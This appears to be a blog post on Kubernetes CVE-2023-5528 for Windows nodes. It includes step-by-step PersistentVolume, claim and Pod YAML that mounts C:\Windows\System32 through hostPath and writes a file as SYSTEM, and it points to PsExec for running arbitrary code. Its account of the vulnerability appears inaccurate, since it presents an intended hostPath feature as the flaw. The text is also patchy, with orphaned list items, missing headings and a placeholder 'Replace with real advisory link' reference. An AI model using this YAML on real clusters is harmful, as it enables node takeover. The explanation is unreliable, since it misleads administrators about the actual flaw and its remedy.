Recently, a major security vulnerability, CVE-2023-5528, was discovered in Kubernetes. This issue affects anyone running Kubernetes clusters with Windows nodes that use the default ("in-tree") storage plugins. If your users can create pods and persistent volumes (PVs) on these Windows nodes, they might gain full admin privileges on those nodes. This post explains the vulnerability in simple terms, details the exploit, and shows you what it looks like in code.

Background

Kubernetes clusters often run workloads on both Linux and Windows nodes. To store data, applications use persistent volumes (PVs). On Windows, PVs connect to storage via in-tree plugins—piece of code built into Kubernetes itself.

The bug in CVE-2023-5528 lets an attacker (who can already create pods and PVs) abuse how Windows nodes handle these volumes to escalate their privileges to SYSTEM or Administrator, effectively owning the node.

You run Kubernetes with Windows nodes.

- You use Kubernetes in-tree storage plugins (like "kubernetes.io/hostpath" or similar).

How Does the Exploit Work?

The weakness is in how Kubernetes' in-tree storage plugins interact with Windows paths. An attacker can craft a PersistentVolume with a special hostPath or local volume that points directly to sensitive parts of the node's filesystem or even device paths (e.g., C:\Windows\System32). When their pod mounts the volume, it gets admin-level access to the core system files.

By combining this with a specially-crafted pod definition, the attacker can run as SYSTEM/Administrator and take full control.

Exploit Step-by-Step

1. Create a PersistentVolume on a Windows node that maps to a sensitive directory or file (like C:\Windows\System32).

Example Exploit Code

Here's a walk-through with YAML examples. Never run this outside a secure lab!

This PV exposes a sensitive path on the Windows node

apiVersion: v1
kind: PersistentVolume
metadata:
  name: win-hostpath-pv
spec:
  capacity:
    storage: 1Gi
  volumeMode: Filesystem
  accessModes:
    - ReadWriteMany
  persistentVolumeReclaimPolicy: Retain
  storageClassName: hostpath
  nodeAffinity:
    required:
      nodeSelectorTerms:
        - matchExpressions:
            - key: kubernetes.io/os
              operator: In
              values:
                - windows
  hostPath:
    path: "C:\\Windows\\System32"
    type: Directory

Step 2: PersistentVolumeClaim (PVC)

apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: win-hostpath-pvc
spec:
  storageClassName: hostpath
  accessModes:
    - ReadWriteMany
  resources:
    requests:
      storage: 1Gi
  volumeName: win-hostpath-pv

Mount the PVC and directly access the system directory

apiVersion: v1
kind: Pod
metadata:
  name: escalate-winpod
spec:
  nodeSelector:
    kubernetes.io/os: windows
  containers:
    - name: attacker
      image: mcr.microsoft.com/windows/servercore:ltsc2022
      command: ["cmd.exe"]
      args: ["/c", "echo You are now SYSTEM! > C:\\mounted\\system\\pwned.txt"]
      volumeMounts:
        - name: sysvol
          mountPath: "C:\\mounted\\system"
  volumes:
    - name: sysvol
      persistentVolumeClaim:
        claimName: win-hostpath-pvc

Result: The pod writes a file to C:\Windows\System32\pwned.txt as SYSTEM. With more advanced commands or tools (like PsExec), the attacker can execute arbitrary code as SYSTEM/admin.

Original References

- Kubernetes Security Advisory: CVE-2023-5528 _(Example: Replace with real advisory link)_
- CNCF CVE Record for CVE-2023-5528
- Kubernetes HostPath Volume Documentation

Restrict who can create PVs and Pods, especially with hostPath or local volumes.

- Switch to CSI storage drivers and disable in-tree plugins.

Conclusion

CVE-2023-5528 is a severe vulnerability for Kubernetes clusters with Windows nodes using in-tree storage. Anyone with Pod and PersistentVolume creation privileges can potentially escalate to full admin on those nodes.

If you manage such clusters, review your access policies and update your cluster ASAP. For further technical deep-dives, see the references above.

Stay safe, and keep your clusters secure!

*(Content original and exclusive for this post. Always perform responsible disclosure and testing in a secure environment.)*

Timeline

Published on: 11/14/2023 21:15:14 UTC
Last modified on: 11/30/2023 15:10:23 UTC